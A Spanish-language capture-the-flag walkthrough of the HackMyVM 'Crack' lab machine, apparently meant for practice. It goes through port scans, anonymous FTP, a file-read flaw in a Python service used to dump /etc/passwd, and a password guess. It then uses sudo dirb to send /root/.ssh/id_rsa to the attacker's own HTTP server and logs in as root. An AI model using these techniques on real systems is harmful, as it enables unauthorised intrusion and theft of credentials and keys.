HackMyVM - Crack
- FTP Misconfiguration
- Shell In A Box
- Abusing Dirb Binary
Escaneo de puetos
❯ nmap -p- -v -T5 -n 192.168.1.15
PORT STATE SERVICE
21/tcp open ftp
4200/tcp open vrml-multi-use
12359/tcp open unknown
Escaneo de servicios
❯ nmap -sVC -v -p 21,4200,12359 192.168.1.15
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 0 0 4096 Jun 07 14:40 upload [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.18
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
4200/tcp open ssl/http ShellInABox
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-favicon: Unknown favicon MD5: 2AB43FA7D288987C3DBE15F0C53EE407
|_ssl-date: TLS randomness does not represent time
|_http-title: Shell In A Box
| ssl-cert: Subject: commonName=crack
| Issuer: commonName=crack
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-07T10:20:13
| Not valid after: 2043-06-02T10:20:13
| MD5: c63be8884cb9a338dbc54f7bd5152d14
|_SHA-1: 208249e1a5cd889a4df210ed6370ac43cc040ffc
12359/tcp open unknown
| fingerprint-strings:
| GenericLines:
| File to read:NOFile to read:
| NULL:
|_ File to read:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port12359-TCP:V=7.93%I=7%D=6/8%Time=64817F93%P=x86_64-pc-linux-gnu%r(NU
SF:LL,D,"File\x20to\x20read:")%r(GenericLines,1C,"File\x20to\x20read:NOFil
SF:e\x20to\x20read:");
Service Info: OS: Unix
Me conecto al servidor ftp, entro en la carpeta upload y me descargo el archivo crack.py
.
❯ ftp 192.168.1.15
Connected to 192.168.1.15.
220 (vsFTPd 3.0.3)
Name (192.168.1.15:noname): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||24707|)
150 Here comes the directory listing.
drwxr-xr-x 3 0 114 4096 Jun 07 12:22 .
drwxr-xr-x 3 0 114 4096 Jun 07 12:22 ..
drwxrwxrwx 2 0 0 4096 Jun 07 14:40 upload
226 Directory send OK.
ftp> cd upload
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||57648|)
150 Here comes the directory listing.
-rwxr-xr-x 1 1000 1000 849 Jun 07 14:40 crack.py
226 Directory send OK.
ftp> get crack.py
local: crack.py remote: crack.py
229 Entering Extended Passive Mode (|||46580|)
150 Opening BINARY mode data connection for crack.py (849 bytes).
100% |********************************************************************************************************************************************************************| 849 577.36 KiB/s 00:00 ETA
226 Transfer complete.
849 bytes received in 00:00 (326.54 KiB/s)
Archivo crack.py
.
El servidor espera un nombre de un archivo, si este archivo existe tanto en la ubicación del servidor como en la ubicación especificada por el cliente, el servidor mostrará el archivo, de lo contrario mostrará el mensaje NO.
import os
import socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
port = 12359
s.bind(('', port))
s.listen(50)
c, addr = s.accept()
no = "NO"
while True:
try:
c.send('File to read:'.encode())
data = c.recv(1024)
file = (str(data, 'utf-8').strip())
filename = os.path.basename(file)
check = "/srv/ftp/upload/"+filename
if os.path.isfile(check) and os.path.isfile(file):
f = open(file,"r")
lines = f.readlines()
lines = str(lines)
lines = lines.encode()
c.send(lines)
else:
c.send(no.encode())
except ConnectionResetError:
pass
Si voy al puerto 4200 me encuentro con un login.
Me conecto por netcat al puerto 12359 escribo /etc/passwd
pero no puede mostrar el fichero passwd porque no tengo ningún archivo passwd en la carpeta upload.
❯ nc 192.168.1.15 12359
File to read:/etc/passwd NO
Creo un archivo passwd en blanco y lo subo a la carpeta upload, vuelvo a conectarme por netcat y ahora si muestra el archivo passwd porque existe el archivo en la carpeta upload del servidor FTP.
❯ nc 192.168.1.15 12359
File to read:/etc/passwd
'root:x:0:0:root:/root:/bin/bash\n',
'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n',
'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n',
'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n',
'sync:x:4:65534:sync:/bin:/bin/sync\n',
'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n',
'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n',
'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n',
'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n',
'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n',
'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n',
'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n',
'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n',
'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n',
'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n',
'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n',
'gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\n',
'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n',
'_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n',
'systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\n',
'systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\n',
'messagebus:x:103:109::/nonexistent:/usr/sbin/nologin\n',
'systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\n',
'sshd:x:105:65534::/run/sshd:/usr/sbin/nologin\n',
'cris:x:1000:1000:cris,,,:/home/cris:/bin/bash\n',
'systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\n',
'shellinabox:x:106:112:Shell In A Box,,,:/var/lib/shellinabox:/usr/sbin/nologin\n',
'ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin\n' File to read:
Tengo el usuario cris pero no tengo la contraseña, así que probando contraseñas consigo conectarme al sistema. La contraseña es c**s.
Enumero permisos de sudo.
cris@crack:~$ sudo -l
Matching Defaults entries for cris on crack:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cris may run the following commands on crack:
(ALL) NOPASSWD: /usr/bin/dirb
Verifico los puertos del sistema y me encuentro con el puerto 22 está abierto de forma local.
cris@crack:~$ ss -ltun
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 50 0.0.0.0:12359 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:4200 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:22 0.0.0.0:*
tcp LISTEN 0 32 *:21 *:*
Al tener el puerto 22 abierto buscaré la llave id_rsa
con dirb y en la dirección ip pongo la dirección de mi máquina. Si al copiar y pegar el siguiente comando te da error escríbelo a mano.
cris@crack:~$ sudo dirb http://192.168.1.18/ /usr/share/dirb/wordlists/common.txt,/root/.ssh/id_rsa
La coma que se coloca entre common.txt y /root/.ssh/id_rsa actúa como un separador que indica al programa dirb que estos dos elementos son argumentos independientes y deben ser procesados de manera distinta.
Dejo a la escucha un servidor http en el puerto 80 de mi máquina para ver las peticiones de dirb y así leer el archivo id_rsa
.
> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Cuando termina el escaneo obtengo la llave rsa en un formato un tanto especial.
Una vez termino de reconstruir la llave rsa quedaría de la siguiente forma:
Importante, si te sale este error: Load key “id_rsa”: invalid format es porque la llave tiene algún espacio en algún lado o simplemente habrás borrado alguna letra o número sin querer.
Obtengo el root de la siguiente manera.
cris@crack:~$ chmod 600 id_rsa
cris@crack:~$ ssh -i id_rsa root@localhost
Linux crack 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@crack:~# id
uid=0(root) gid=0(root) grupos=0(root)
Y aquí termina la máquina Crack.
Saludos!